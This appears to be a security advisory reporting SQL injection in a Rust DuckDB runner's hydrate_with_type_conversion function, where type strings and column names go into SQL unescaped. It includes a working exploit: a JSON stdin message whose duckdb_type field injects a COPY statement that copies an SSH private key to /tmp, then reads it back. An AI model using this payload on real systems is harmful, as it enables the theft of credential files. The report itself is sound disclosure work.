[security] validate SQL Injection via Unescaped ColumnTypeInfo.duckdb_type in hydrate_with_type_conversion

In crates/dbt-db-runner/src/runner.rs, the hydrate_with_type_conversion function builds a CREATE TABLE SQL statement by interpolating user-controlled ColumnTypeInfo.duckdb_type directly into the SQL without any escaping:

let create_cols = column_types
.iter()
.map(|c| format!("\"{}\" {}", c.name, c.duckdb_type))
.collect::>()
.join(", ");

let create_sql = format!("CREATE OR REPLACE TABLE {qualified} ({create_cols})");
self.executor.execute_update(&create_sql, Some(task_id), Duration::ZERO)?;
c.duckdb_type is placed verbatim as a SQL type specifier — completely unescaped and unquoted. For TaskPayload::Hydrate, the column_types field is deserialized directly from the stdin JSON message with no validation. DuckDB's ADBC driver accepts multi-statement SQL (semicolon-separated) in set_sql_query / execute_update, so a crafted duckdb_type can inject and execute arbitrary additional SQL statements.

A second injection vector exists within the same function: c.name is wrapped in double-quotes but embedded " characters are not escaped (SQL standard requires doubling: ""), allowing identifier quote escape.

A third vector exists in the json_transform path:

let structure = duckdb_type_to_json_structure(&c.duckdb_type);
format!("json_transform(CAST(\"{}\" AS VARCHAR), '{}') AS \"{}\"", c.name, structure, c.name)
structure is derived from c.duckdb_type and inserted into a single-quoted SQL string argument without escape_single_quotes.

DuckDB file system access
DuckDB can read and write arbitrary local files via read_text(), read_csv(), read_parquet(), and COPY ... TO. SQL injection into DuckDB is equivalent to arbitrary file read/write with the process's OS permissions.

Relevant Code
crates/dbt-db-runner/src/runner.rs
crates/dbt-db-runner/src/runner.rs
let create_cols = column_types
.iter()
.map(|c| format!("\"{}\" {}", c.name, c.duckdb_type)) // duckdb_type completely unescaped
.collect::>()
.join(", ");
let create_sql = format!("CREATE OR REPLACE TABLE {qualified} ({create_cols})");
self.executor.execute_update(&create_sql, Some(task_id), Duration::ZERO)?;
Attack Details
95% confidence
Attack Vector
An attacker sends a TaskPayload::Hydrate JSON message over the runner's stdin protocol with a crafted column_types array. The column_types field (and each entry's duckdb_type and name) is deserialized directly from JSON with no format validation or allowlist checking.

Exploit Scenario
Send malicious Hydrate task with injected duckdb_type
Send this JSON line to the runner's stdin:

{"type":"task","task_id":"x","payload":{"kind":"hydrate","relation":{"catalog":null,"schema":"main","name":"t"},"source":{"format":"parquet_inline","base64":""},"column_types":[{"name":"col","duckdb_type":"VARCHAR); COPY (SELECT read_text('/home/user/.ssh/id_rsa')) TO '/tmp/exfil.txt'; CREATE TABLE _d (x","is_complex":false,"warehouse_type":"TEXT"}]}}
Runner generates and executes injected SQL against local DuckDB
The generated SQL becomes:

CREATE OR REPLACE TABLE main.t ("col" VARCHAR); COPY (SELECT read_text('/home/user/.ssh/id_rsa')) TO '/tmp/exfil.txt'; CREATE TABLE _d (x)
DuckDB executes all three statements. The COPY statement writes the SSH private key to /tmp/exfil.txt.

Read exfiltrated data
Send a TaskPayload::Query task: {"sql": "SELECT read_text('/tmp/exfil.txt')"}. The runner returns the file contents as Arrow IPC encoded base64 in the Finished event.

Impact
Arbitrary SQL execution in the local DuckDB instance with no restrictions. DuckDB's built-in functions allow reading any local file (read_text, read_csv, read_parquet), writing files (COPY ... TO), and loading extensions that can execute OS commands. An attacker can exfiltrate secrets, SSH keys, cloud credentials, or any file accessible to the runner process.